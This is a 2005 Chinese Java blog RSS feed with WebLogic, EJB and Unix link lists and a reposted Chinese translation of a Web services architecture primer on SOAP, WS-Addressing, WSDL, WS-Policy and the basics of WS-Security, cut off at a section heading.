href="http://e-docs.bea.com/wls/docs81/toolstable/ToolsTable.html#1012180">http://e-docs.bea.com/wls/docs81/toolstable/ToolsTable.html#1012180</A><BR><BR>4.<BR>Using Ant Tasks to Configure a WebLogic Server Domain<BR><A href="http://e-docs.bea.com/wls/docs81/admin_ref/ant_tasks.html">http://e-docs.bea.com/wls/docs81/admin_ref/ant_tasks.html</A><BR><BR>5.<BR>EJB Subsystem Messages<BR><A href="http://e-docs.bea.com/wls/docs81/messages/EJB.html">http://e-docs.bea.com/wls/docs81/messages/EJB.html</A><BR><BR>6.<BR>Web Services<BR><A href="http://e-docs.bea.com/wls/docs81/webservices.html">http://e-docs.bea.com/wls/docs81/webservices.html</A><BR><BR>7.<BR>Web Service Ant Tasks and Command-Line Utilities<BR><A href="http://e-docs.bea.com/wls/docs81/webserv/anttasks.html">http://e-docs.bea.com/wls/docs81/webserv/anttasks.html</A><BR><BR>8.<BR>Programming WebLogic Web Services<BR><A href="http://e-docs.bea.com/wls/docs81/webserv/index.html">http://e-docs.bea.com/wls/docs81/webserv/index.html</A><BR><BR>9.<BR>BEA WebLogic Server and WebLogic Express 8.1 Documentation<BR><A href="http://e-docs.bea.com/wls/docs81/index.html">http://e-docs.bea.com/wls/docs81/index.html</A><BR><BR><BR>感觉最近很多以前知道的都开始模糊了。<BR>10.<BR><FONT color=#ff0000 size=4><STRONG>EJB 工作原理<BR></STRONG></FONT><A href="http://forum.javaeye.com/viewtopic.php?t=3832">http://forum.javaeye.com/viewtopic.php?t=3832</A><BR><BR><BR>11.<BR><A class=maintitle href="http://forum.javaeye.com/viewtopic.php?t=1036&amp;start=0&amp;postdays=0&amp;postorder=asc&amp;highlight="><FONT color=#ff0000 size=4><STRONG>EJB调用的原理分析</STRONG></FONT></A><FONT color=#ff0000 size=4><STRONG> <BR></STRONG></FONT><A href="http://forum.javaeye.com/viewtopic.php?t=1036">http://forum.javaeye.com/viewtopic.php?t=1036</A><BR><BR><BR>12.<BR>Web service:<BR><A href="http://www.javaworld.com.tw/jute/post/view?bid=19&amp;id=101122&amp;sty=1&amp;tpg=1&amp;ppg=1&amp;age=0#101122">http://www.javaworld.com.tw/jute/post/view?bid=19&amp;id=101122&amp;sty=1&amp;tpg=1&amp;ppg=1&amp;age=0#101122</A><BR><BR>13.<BR>听说NetBeans不错<BR>XXXXXX没看到怎么跟Bea集成<BR><BR>14.<BR><U><FONT color=#606420>searchsmb</FONT></U><BR><A href="http://searchsmb.techtarget.com/sDefinition/0,,sid44_gci213231,00.html">http://searchsmb.techtarget.com/sDefinition/0,,sid44_gci213231,00.html</A><BR><BR><BR>15.<BR><A href="http://www.acronymfinder.com/">http://www.acronymfinder.com/</A><BR><BR>16.<BR><A href="http://blog.hjenglish.com/stanley/category/4745.html">http://blog.hjenglish.com/stanley/category/4745.html</A><BR><BR>17.<BR>Unix related:<BR><A href="http://www.yesky.com/20030306/1655486_4.shtml">http://www.yesky.com/20030306/1655486_4.shtml</A><BR><A href="http://www-128.ibm.com/developerworks/cn/linux/sdk/perl/l-p101/">http://www-128.ibm.com/developerworks/cn/linux/sdk/perl/l-p101/</A><BR><A href="http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new">http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new</A><BR><A href="http://bbs.chinaunix.net/forum/24/20041109/441883.html">http://bbs.chinaunix.net/forum/24/20041109/441883.html</A><BR><A href="http://bbs.chinaunix.net/forum/viewtopic.php?t=218853&amp;show_type=new"></A>调试shell<BR><A href="http://www.chinaitlab.com/www/news/article_show.asp?id=14410">http://www.chinaitlab.com/www/news/article_show.asp?id=14410</A><BR><A href="http://www.linuxforum.net/forum/gshowflat.php?Cat=&amp;Board=vrml&amp;Number=472740&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart">http://www.linuxforum.net/forum/gshowflat.php?Cat=&amp;Board=vrml&amp;Number=472740&amp;page=0&amp;view=collapsed&amp;sb=5&amp;o=all&amp;fpart</A>=<BR><BR><BR><A href="http://www.intuitive.com/wicked/index.shtml">http://www.intuitive.com/wicked/index.shtml</A><BR><A href="http://www.delorie.com/gnu/docs/sh-utils/sh-utils_toc.html#SEC_Contents">http://www.delorie.com/gnu/docs/sh-utils/sh-utils_toc.html#SEC_Contents</A><BR><BR><BR><BR>创意英国<BR><BR><BR>查询专业术语<BR><A href="http://www.informatik.uni-bremen.de/uniform/gdpa/" target=_top><IMG alt="GDPA Homepage" src="http://www.informatik.uni-bremen.de/gdpa/images/header.gif" border=0></A><BR><A href="http://www.informatik.uni-bremen.de/gdpa/i-def_a.htm">http://www.informatik.uni-bremen.de/gdpa/i-def_a.htm</A><BR><A href="http://searchcrm.techtarget.com/sDefinition/0,,sid11_gci789218,00.html">http://searchcrm.techtarget.com/sDefinition/0,,sid11_gci789218,00.html</A><BR><BR><A href="http://e-docs.bea.com/wls/docs81/programming/classloading.html">http://e-docs.bea.com/wls/docs81/programming/classloading.html</A><BR><BR><BR><img src ="http://www.blogjava.net/kapok/aggbug/10074.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-28 01:57 <a href="http://www.blogjava.net/kapok/archive/2005/08/28/10074.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>工作流</title><link>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 22 Aug 2005 15:07:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10740.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/22/10740.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10740.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10740.html</trackback:ping><description><![CDATA[<A href="http://blog.csdn.net/james999">http://blog.csdn.net/james999</A><img src ="http://www.blogjava.net/kapok/aggbug/10740.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-22 23:07 <a href="http://www.blogjava.net/kapok/archive/2005/08/22/10740.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Web服务架构及其规范入门 </title><link>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 17 Aug 2005 12:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10374.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10374.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10374.html</trackback:ping><description><![CDATA[<TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=0 cellPadding=0 width="99%" border=0>
<TBODY>
<TR>
<TD><SPAN class=oblog_text>
<DIV class=postText>
<P><A href="http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb">http://www.54bk.com/blog.asp?subjectid=1715&amp;name=yuexb</A><BR><BR>作者：Luis Felipe Cabrera、Christopher Kurt、Don Box</P>
<P>&nbsp;&nbsp;&nbsp; <B>[摘要]</B>本Web服务架构入门阐述了Web服务架构的基础设计原则和Web服务的基础技术。此外还对其功能进行了介绍，并提供了对其进行正式定义的规范链接。本文也是该架构所有规范的参考指南。</P>
<H1>XML和Infoset</H1>
<P>&nbsp;&nbsp;&nbsp; 对于所有的消息传递系统来说，选择信息传输单位是非常重要的——简单地说，对消息的构成有个一般的认识是必不可少的。在Web服务中，一条消息就是一个XML文档信息项，它由XML信息集（XML Information Set，即Infoset）定义。Infoset是一个抽象的数据模型，它兼容基于文本的XML 1.0，也是所有最新XML规范（XML Schema、XML Query和XSLT 2.0）的基础。由于Web服务架构是以XML Infoset，而不是某一特定的表现形式为基础，使得该架构及其核心协议组件可与其他编码技术兼容。</P>
<P>&nbsp;&nbsp;&nbsp; Infoset根据一组‘信息项（Information Items）’对XML文档进行建模。这组可能的信息项一般会映射到XML文档的不同功能部件上，如元素、属性、命名空间和注解。每一信息项都有一个关联属性集，用于提供该项的更完整描述。附录B描述了XML文档中的11类信息项。每一个结构严谨的XML文档都会包含一个文档信息项和至少一个元素信息项。</P>
<P>&nbsp;&nbsp;&nbsp; 除了基于纯文本的Infoset编码技术以外，Web服务架构还支持另外一种Infoset编码技术——即允许不透明的二进制数据与传统的基于文本的标记交织在一起。W3C XML-binary Optimized Packaging（即XOP）格式使用多部分MIME将原始二进制数据引入到XML 1.0文档中，而不采用base64编码。其配套规范——SOAP 消息 Transmission Optimization Method，即MTOM，则指定如何将该格式绑定到SOAP。XOP和MTOM是将原始二进制数据与基于文本的XML混合在一起的首选方法，它们取代了目前普遍遭到反对的SOAP with Attachments（SwA）和WS-Attachments/DIME。</P>
<H1>SOAP</H1>
<P>&nbsp;&nbsp;&nbsp; SOAP为在分散的分布式环境中使用XML在同等体之间交换结构化分类信息提供了一种简单的轻量级机制。SOAP旨在最大限度地降低对基于不同平台构建的应用程序进行集成的设计成本，并认为最低成本技术最有可能赢得普遍接受。SOAP消息是包含三个元素的XML文档信息项，这三个元素是：&lt;Envelope&gt;、&lt;Header&gt;和&lt;Body&gt;。</P>
<P>&nbsp;&nbsp;&nbsp; Envelope是SOAP消息的根元素，它包含一个可选的Header元素和一个必需的Body元素。Header元素是以分散方式增加SOAP消息功能的一种通用手法。Header的每个子元素都被称为一个Header块（Header Block），SOAP定义了几个知名的属性来指示应该由谁来处理Header块（role）以及这种处理是可选的还是必需的（mustUnderstand），下文中对这两个属性进行了介绍。目前，Header元素总是Envelope的第一个子元素；Body元素总是Envelope的最后一个子元素，也是供最终消息接收者使用的“有效负载”的容器。SOAP本身没有定义内置的Header块，且只定义了一个有效负载，那就是用于报告错误的Fault元素。</P>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务消息都是SOAP消息，它们充分利用了XML Infoset。消息有效负载和协议头都使用同一个模型，可以确保基础架构头Header和应用程序体的完整性。应用程序发送消息时可能会同时考虑Header的内容和消息中的数据。为XML数据模型开发的工具可以用于检查和构建完整的消息。过去，这些益处在某些架构中是没有的，如DCOM、CORBA和RMI，它们之中的协议头是一些对应用程序不透明的基础架构细节。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP消息是从发送者向接收者单向传送的。多个单向消息的组合可以形成较为复杂的模式。例如，比较常见的模式是同步请求/响应消息对。发送或接收消息的任何一个软件代理都被称为一个SOAP节点（SOAP Node）。启动消息传输的节点称为原始发送节点。使用和处理消息的最后一个节点称为最终接收节点。在原始发送节点和最终接收节点之间处理消息的任一节点都叫做中介（Intermediary）。中介用于模拟单个消息的分布式处理。消息经过的所有中介节点和最终接收节点统称为消息路径（Message Path.）。</P>
<P>&nbsp;&nbsp;&nbsp; 为了能够识别消息路径的各个部分，每个节点都担任一个或多个角色。SOAP角色是一种分类模式，它将一个基于URI的名称与某些抽象功能（如缓存、验证、授权）关联在一起。基础SOAP规范定义了2个内置角色：Next和UltimateReceiver。Next是一个通用角色，因为除了发送节点之外的每一个SOAP节点都属于Next角色。UltimateReceiver是消息路径中终端节点所扮演的角色。它通常就是应用程序，或在某些情况下是代表该应用程序执行任务的基础架构。</P>
<P>&nbsp;&nbsp;&nbsp; SOAP envelope的Body总是针对最终接收节点。而SOAP header则可以针对中介，也可以针对最终接收节点。为了提供一个安全且版本可控的消息处理模型，SOAP定义了3个属性，用于控制中介和最终接收节点处理某一指定Header块的方式——role、relay和mustUnderstand。角色属性用于确定Header块所针对的节点。mustUnderstand属性用于指示在Header块未被认出的情况下该节点是否可以忽略该Header块。带有mustUnderstand="true"标记的Header块叫做强制Header块（Mandatory Header Block）。标记为mustUnderstand="false"或没有mustUnderstand属性的Header块叫做可选Header块。relay属性指示该节点是发送还是放弃未被认出的可选header。</P>
<P>&nbsp;&nbsp;&nbsp; 每一个SOAP节点都必须使用这3个属性来实现SOAP处理模型。以下步骤详细说明了该模型：</P>
<OL>
<LI>使用角色属性（缺省该属性表示Header块针对最终接收节点）确定将用于当前SOAP节点的SOAP消息的所有Header块。 
<LI>验证当前SOAP节点是否能够使用SOAPmustUnderstand属性来处理步骤1中所确定的所有强制Header块。如果有强制Header块不能被当前SOAP节点处理，则必须丢弃该消息，并生成一条醒目的错误消息。 
<LI>处理消息。可以忽略可选消息元素。 
<LI>如果SOAP节点不是消息的最终接收节点，则步骤1中所确定的所有无法分程传送的Header块都会被删除，然后消息被传送到消息路径中的下一个SOAP节点。下一个SOAP节点可以自由地将新的Header块插入到分程传送的消息中。其中的某些Header块可能是步骤1中所确定的Header块的副本。 </LI></OL>
<P>&nbsp;&nbsp;&nbsp; SOAP处理模型旨在实现可扩展性和版本控制。mustUnderstand属性对新Header块的引入是中断变化还是非中断变化进行控制。添加可选header块（如标记为mustUnderstand="false"的header）是一种非中断变化，因为任何SOAP节点都可自由忽略它。添加强制header块（如标记为mustUnderstand="true"的header）是一种中断变化，因为只有知晓Header块语法和语义的SOAP节点才能够处理SOAP消息。Role、relay以及mustUnderstand属性沿着消息路径传递这种处理模型。</P>
<H2>消息交换模式</H2>
<P>&nbsp;&nbsp;&nbsp; SOAP所提供的消息传递灵活性使Web服务能够以多种消息交换模式进行通信，从而满足分布式应用的需求。我们在该架构的核心构件中充分利用了其中一些模式，有几种模式已经被证明在分布式系统中特别有用，比如使用远程过程调用就使同步请求/响应消息交换模式得到了普及。当消息传送潜伏时间失控时，就需要采用异步消息传递。当使用同步请求/响应模式时，显式消息相关性则成为必需。</P>
<P>&nbsp;&nbsp;&nbsp; 广播传输（Broadcast Transport）使一对多消息传输得到了普及。原始发送者将其消息强行发送给接收者的模式称为推模式（Push Model）。尽管这种模式在局域网里很有效，但在广域网中则不太适用，接收者也无法调控消息流。另一个有用的模式是以应用程序表达对某些特定消息类别的兴趣的能力为基础的，它使发布/订阅模式大行其道。通过显式订阅消息源（或主题），应用程序可以更好地控制相关信息流。接收者从消息源显式请求消息时使用拉模式（Pull Model）。在这种模式下，消息流是由接收者驱动的。拉模式也可以与发布/订阅模式结合使用。这非常适合于接收者可能要与消息源间歇地断开连接的情况。</P>
<H2>传输的独立性</H2>
<P>&nbsp;&nbsp;&nbsp; 根据SOAP的定义，它与所使用的底层消息传递机制无关。它支持很多可用的消息交换传输机制，也支持同步和异步消息传送与处理。既需要多种传输又需要异步消息传递的系统的一个例子是在基于陆地高速网络干线的Web服务与由移动电话托管的间歇连接的Web服务之间进行通信的系统。这样的系统要求一条消息经哪种传输系统传输要以该消息在哪个网段内移动为依据。这样的系统还有一个典型特点，即消息传送潜伏时间无法精确确定。Web服务开发人员不应力图确定或界定消息传送潜伏时间，而应在假定异步消息传递已达到最大效能的前提下构建系统。与使用远程过程调用时的情况不同，异步消息传递允许发送者在每一消息传输之后继续进行处理，而不必被迫阻塞并等待响应。当然，同步请求--响应模式也可以构建在异步消息传递的基础之上。</P>
<P>&nbsp;&nbsp;&nbsp; 既然Web服务协议完全独立于底层传输之外，适当机制的选择可能就要延迟到运行时。这就为Web服务应用程序提供了在发送消息时确定相应传输机制的灵活性。此外，底层传输机制可能会随着消息在节点之间的发送而变化，相应地，针对每一网段而选择的传输机制也会随需发生变化。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管存在着这种一般的传输的独立性，大多数第一代Web服务都使用HTTP来进行通信，因为这是SOAP规范内所包含的一种主要绑定协议。HTTP以TCP作为其底层传输协议。但是，TCP在设计时引入了不必要的处理开销。有些应用协议模式与用户数据报协议（即UDP， User Datagram Protocol）的语义学比较匹配，这些模式对于受设备及其他资源约束的系统特别有用。UDP不像TCP那样具有传输保证；它提供最大限度的数据报消息传递。与TCP相比，它需要的实施资源较少。此外，UDP还提供了多路广播功能（Multi-cast Capabilitiy），使一个发送者可以将消息同时发送给多个接收者。</P>
<H2>寻址</H2>
<P>&nbsp;&nbsp;&nbsp; 对于要在这种多传输情况下发送和寻址的消息来说，要让关键的消息传递属性为多个传输所携带，就需要一种共用机制。为此，WS-Addressing规范定义了3组SOAP Header块：</P>
<UL>
<LI>Action Header块用于说明消息的预期处理。该Header块包含一个URI，最终接收者通常用它来分派要进行处理的消息。 
<LI>MessageID和RelatesTo Header块用于识别和关联消息。MessageID和RelatesTo header使用简单的URI来唯一地识别消息——这些URI通常都是瞬态的UUID。 
<LI>To/ReplyTo/FaultTo Header块用于识别要处理消息及其回复的代理。这些Header依赖于WS-Addressing所定义的称为“端点引用（Endpoint Reference）”的结构，它将与对SOAP消息进行正确寻址所需的信息捆绑在一起。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 端点引用是WS-Addressing的最重要的方面，因为与仅使用URI相比，它们可为更细粒度的寻址提供支持。它们广泛用于整个Web服务架构。端点引用包含3条关键的信息：基地址、可选的引用属性集和引用参数。基地址是一个URI，用于识别端点，出现在指向该端点的每一SOAP消息中的To Header块中。引用属性和引用参数是用于为该消息提供附加发送或处理信息以补充基地址的任意XML元素的集合，它们以文字Header元素来表示。当使用端点引用来构建端点消息时，发送者负责提供作为Header块的所有引用属性和引用参数。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和引用参数之间的区别在于它们如何关联服务元数据。Web服务策略和契约仅基于其基地址和引用属性。通常，基地址和引用属性用于识别某一给定的已部署服务，引用参数用于识别该服务所管理的特定资源。</P>
<P>&nbsp;&nbsp;&nbsp; 引用属性和参数是那些预期只被最终接收者处理的简单的不透明XML元素。它们有助于确保可用于分派、发送、索引或其他发送端处理活动的信息被包含在给定的消息中。尽管中介预期不会对该信息进行处理，但某些中介（如防火墙或网关服务程序）却有可能使用某些引用属性或参数来进行消息发送、消息处理。引用属性有很多用途。服务类（Classes of Service）和专用实体标识符（Private Entity Identifier）就是两个例子。在服务等级例子中，引用属性可以用于区分针对标准客户的Web服务和针对“黄金”客户的Web服务，后者提供了更高的服务质量和增强功能——可能是通过附加的操作或附加的绑定——在逻辑上形成两个不同的端点。这些属性只在一个会话中设置一次，然后便在交互的其余所有部分重复使用。引用属性另一个用途的例子是以一种对系统不公开发送消息的方式来识别客户的机制。这两种引用属性的组合可以高效地将消息发送给一组适当的服务器，并高效地确定与某一特定用户有关的应用状态。这些例子还展示了引用服务实例的数据和引用用户实例的数据如何用引用属性来表示。</P>
<P>&nbsp;&nbsp;&nbsp; 需要特别指出的是，引用属性还有助于对共享一个共同的URL和作用域的WSDL实体集合进行寻址。WSDL是将Web服务描述为操作消息的一组端点的XML格式，它首先抽象地指定其实体，然后将其具体地绑定到特定实例。具体而言，消息和操作经抽象定义之后，被绑定到带有网络传输和消息格式信息的一个端点。因此，从WSDL的角度来看，当针对不同的具体实体（如输入或输出消息、portType绑定、端口或Web服务中使用一个共同URL的服务）时，对应端点引用的引用属性应该不同。</P>
<P>&nbsp;&nbsp;&nbsp; 使用引用参数的两个例子是基础架构和应用水平。引用参数的基础架构例子可以是发送给某一事务处理监视器的事务/征募ID（Enlistment ID）。在一个购书的场景中，书的ISBN号可能就是一个引用参数应用水平例子。</P>
<H2>元数据（Metadata）</H2>
<P>&nbsp;&nbsp;&nbsp; 所有的Web服务交互都是通过交换SOAP消息来进行的。为了提供一个健壮的开发和操作环境，服务是用机器可读的元数据来描述的——元数据支持互操作性。Web服务元数据可以服务于若干个意图。它用于描述Web服务支持的消息互换格式和某一服务有效的消息交换模式。元数据还用于描述服务的功能和需求。元数据的最后一种形式叫做“服务策略（Policy of Services.）”。消息互换格式和消息交换模式用WSDL来表示，策略使用WS-Policy来表示，契约（Contract）用上述三种元数据来表示。契约是将应用程序与它们所依赖的服务的内部实现细节隔离开来的抽象。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务描述语言，即WSDL——Web Service Description Language，它是被广泛用于描述Web服务基本特征的第一种手段。用WSDL描述的消息被归并为定义基本消息模式的若干操作。这些操作被归并为称作端口的若干个接口，它们详细说明了抽象的服务契约。端口和绑定则用于将portTypes与具体传输和physical 部署信息关联在一起。WSDL描述是自动识别目标服务的所有特征和启用软件开发工具的第一步。WSDL指定请求消息必须包含什么以及响应消息在使用无歧义符号时的显示会是怎样。WSDL文件用于描述消息格式的符号是基于XML模式的。这意味着它既是编程语言中立的又是基于标准的，这使得它很适合于描述可通过多种平台和编程语言来访问的服务接口。除了描述消息内容以外，WSDL还可以定义服务在何处是可用的，以及哪些通信协议被用于与该服务交谈。这意味着WSDL文件可以指定用于编写与某一Web服务进行交互的程序的基本元素。有几种工具可用于读取WSDL文件，以及为编制句法正确的Web服务消息生成所需代码。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管WSDL是一个不错的起点，但它并不足以描述Web服务的方方面面，WSDL只能表示较少的一组属性。Web服务所必需的更详细信息包括：</P>
<UL>
<LI>操作特征：支持SOAP 1.2。 
<LI>使用特征：仅在早9点和下午5点之间可用。 
<LI>安全特征：要访问该服务必需使用Kerberos票。 </LI></UL>
<P>&nbsp;&nbsp;&nbsp; 第一代Web服务必须使用专有协议来交换带外（Out of Band）的元数据，这一问题可以使用WS-Policy来解决。WS-Policy提供了一种通用模型和语法来描述和传达Web服务策略。它指定了一个概念基集，它可以被其他Web服务规范使用和扩展，以描述更为广泛的服务需求和功能。WS-Policy引入了一个简单的可扩展语法来表示策略断言（Policy Assertion），以及一个处理模型来解释它们。断言可以合并到逻辑选项中。</P>
<P>&nbsp;&nbsp;&nbsp; 策略断言使编程人员要么在开发时、要么在运行时向服务信息中添加适当的元数据。开发时策略的例子包括消息大小的最大允许值或所支持规范的确切版本，运行时策略的例子包括宕机时的必备服务或某一给定的管理过程（定期的硬件维护）期间Web服务的不可用性。可以对单个的策略断言进行分组，以形成策略选项（Policy Alternative）。策略是策略选项的集合。为了便于进行互操作，策略是根据其XML Infoset表示形式来定义的。为了在保持互操作性的同时减小策略文档的大小，又定义了策略的紧凑形式。</P>
<P>&nbsp;&nbsp;&nbsp; 策略用于传达两个Web服务端点之间的交互条件。满足策略中的断言通常会引发反映这些条件的行为。因此，策略断言评估是识别兼容行为的中心。当且仅当请求者满足要求，即提供了这一功能、与该断言相符时，请求者才支持策略断言——策略的构造块。一般而言，这种决定要使用特定领域的知识来做出。请求者支持策略选项的条件是当且仅当请求者支持选项中的所有断言时，这种决定是使用策略断言的结果机械性地做出的。同样，当且仅当请求者至少支持策略中的一个选项时，请求者才支持策略。一旦策略选项经过评估，该决定也是机械性地做出的。请注意，虽然策略选项是互斥的，但一般来说要确定多个选项是否可以同时得到支持也是不太可能的。</P>
<P>&nbsp;&nbsp;&nbsp; 为了以互操作的形式传达策略，策略表达式（Policy Expression）采用策略的某种XML Infoset表示形式。普通形式的策略表达式是最简单的Infoset；同样，可选的Infoset允许通过大量构造来简洁地表达策略。策略表达式是策略的基础构造块。有两个运算符用于表达断言：All和ExactlyOne。All运算符表示策略选项集中的所有断言都必须适用于要满足的策略断言。ExactlyOne运算符表示策略选项集中只有一条断言必须适用于要满足的策略断言。</P>
<P>&nbsp;&nbsp;&nbsp; 策略层位于WSDL描述之上，并对它进行了扩充。策略与Web服务元数据（如WSDL定义或UDDI实体）的关联是通过使用WS-PolicyAttachment来实现的。策略可以作为其定义所固有的一部分或独立地与资源关联在一起。机制就是针对这些不同目的而定义的。需要特别指出的是，策略也可以与单个的SOAP消息一起使用。如果为某一实体制作了多个策略附件，它们会共同确定该实体的有效策略（Effective Policy）。在WSDL层次结构的不同层次上选用策略时一定要小心，因为层次结构每一层次的最终结果就是一个有效策略。作为自我描述和人所能理解的明确性的一般规则，在策略断言所适用的层次结构的每一层次上详细地重复该策略断言，比简单地依赖于计算有效策略的机制更可取。在一个WSDL文档中，与部署端点的消息交换可以同时包含所有4类主题的有效策略。WS-Policy和WS-PolicyAttachment相结合可以提高应用程序来发现和推出其他服务所支持的策略的能力。添加策略的灵活性是对描述消息交互的WSDL信息的一个重要补充。</P>
<P>&nbsp;&nbsp;&nbsp; WSDL和WS-Policy都定义了元数据格式，但都没指定某一给定服务获得或访问元数据的机制。一般来说，服务元数据可以通过使用许多方法来获取。为了支持服务的自我描述，Web服务架构在WS-MetadataExchange中定义了基于SOAP的元数据访问协议。GetMetadata操作用于检索在请求的端点引用中找到的元数据。Get操作类似，但用于检索不同的元数据：在元数据部分引用，并要在存储它的端点引用中检索的元数据。</P>
<P>&nbsp;&nbsp;&nbsp; 使用WS-MEX来交换的元数据可以描述为资源。资源即可由某一端点引用寻址的任何实体，并且在该端点引用中，该实体可以提供一种其自身的XML表示形式。资源构成了构建Web服务中的状态管理所需的基础。</P>
<P class=indent><B>什么是互操作性概要（Interoperability Profile）<BR></B>&nbsp;&nbsp;&nbsp; 概要（Profile）是一组指导原则，主要针对于核心协议以及Web服务规范的使用。这些指导原则对于规范的通用设计来说是必需的。在某些情况下，开发人员需要额外的帮助来确定使用哪些Web服务特性来满足某一特定需求。互操作性概要还用于解决Web服务规范不够明确的领域中的含糊性问题，以确保所有实施都以相同的方式来处理SOAP消息。</P>
<P class=indent><B>WS-I基本概要</B><BR>第一个Web服务概要是由Web服务-互操作性组织（WS-I，Web Services-Interoperability Organization）发布的。WS-I已经完成了其第一个概要，并简单地称为基本概要1.0。该概要主要基于SOAP1.1和WSDL 1.0的互操作使用来提供指导原则。</P>
<H1>安全性</H1>
<P>&nbsp;&nbsp;&nbsp; 本节介绍Web服务架构中用于提供某一系统内部的消息完整性、身份验证和机密性、安全性令牌交换、消息会话安全性、安全策略表示和服务联盟安全性的规范。提供这些特性的规范是WS-Security、WS-Trust、WS-SecureConversation、WS-SecurityPolicy和WS-Federation。</P>
<P>&nbsp;&nbsp;&nbsp; 安全性是计算机系统的一个基本方面，尤其是那些由Web服务组成的系统。安全性必须是健壮而有效的。因为系统只对消息格式和合法的消息交换作出硬件假设，因此安全性必须基于一致通过的明确机制和假设。安全基础架构还应该具有足够的灵活性，以支持不同组织所需的不同安全策略。</P>
<P>&nbsp;&nbsp;&nbsp; 当安全传输可用于通信Web服务，如安全套接层（SSL）和传输层安全性（TLS）之间时，构建安全性解决方案就得到了简化。有了安全传输，这些服务就不需要参与单个消息的完整性和机密性的维护；它们可以依赖于底层传输。不过，现有的传输级安全性是一个仅限于点对点消息传递的解决方案。如果在使用安全传输时存在中介，则最初发送者和最终接收者需要相信这些中介能够帮助提供端到端的安全性，因为每个网段都是安全的。除了要明确地信任所有中介外，还必须考虑到其他风险，如消息的本地存储和中介受到损害的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 为了最大限度地扩大Web服务的作用范围，当通信端点不相信中介时，必须提供端到端的安全性，那就需要更高级别的安全协议。作为另一种选择，端到端消息安全性比点对点传输级安全性具有更丰富的内涵，因为它支持Web服务所需的基于SOAP的松耦合、联合、多传输和可扩展环境。这种功能强大而又灵活的基础架构可以通过现有技术和Web服务协议的组合来开发，同时还可以缓解与点对点消息传递相关联的许多安全风险。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管Web服务的安全需求很复杂，但人们还没有发明新的安全机制来满足基于SOAP的消息传递的需要。现有的分布式系统安全性方法，如Kerberos票、公钥加密技术、X.509证书等已经够用了。只有应用现有的SOAP安全方法时，新机制才是必需的。这些新安全协议的设计充分考虑了可扩展性，以便将来能够加入新的方法。一个主要的设计目标是要提供自我描述安全性属性（为包括SOAP在内的Web服务架构而设计）机制。</P>
<P>&nbsp;&nbsp;&nbsp; Web服务安全性的基础是输入消息要证实一组关于发送者、服务或其他资源的断言这一需求。我们称之为断言或安全性断言。典型的安全性断言包括身份、属性、关键财产、权限或功能。这些断言是用包裹在XML中的二进制安全性令牌编码的。在传统的安全性术语中，这些安全性令牌表示功能和访问控制的混合。很多方法都被用于创建安全性令牌。Web服务可以从本地信息构建定制的安全性令牌。反过来，安全性令牌也可以从X.509认证机构或Kerberos域控制器等专业服务检索。为了实现服务之间的通信自动化，需要一个表达安全需求的方法。</P>
<P>&nbsp;&nbsp;&nbsp; 服务可以使用WS-SecurityPolicy中所指定的策略断言来表达其安全需求。通过检索这些策略断言，应用程序可以构建符合目标服务需求的消息。断言、安全性令牌和策略所提供的这组特性以及从Web服务检索它们的能力非常强大。这种普通的Web服务安全模式支持一些更具体的安全模式，如基于身份的授权、访问控制列表和基于功能的授权。它允许使用现有技术，如X.509 公钥证书、基于XML的令牌、Kerberos共享的秘密票和密码摘要。这种普通模型对于构建使用更复杂的方法来进行更高级别的密钥交换、身份验证、基于策略的访问控制、审核和处理复杂的信任关系的系统已经足够。也可以使用代理和中继服务。例如，可以构建中继服务来加强位于信任边界的安全策略；出界的消息被加密，而界内的消息不加密。以前的解决方案没有提供这种灵活性和完善程度。附录C中所描述的常见安全攻击包含了系统威胁的基本分类，而这些系统威胁是在选择Web服务安全特性时应认真加以考虑的。</P>
<P>&nbsp;&nbsp;&nbsp; 本节的余下部分将探讨Web服务安全模式的应用。两个重要主题是安全通信和安全应用。没有假定安全的消息传输，这也不是安全的Web服务所必需的。</P>
<H2>消息完整性和机密性</H2>
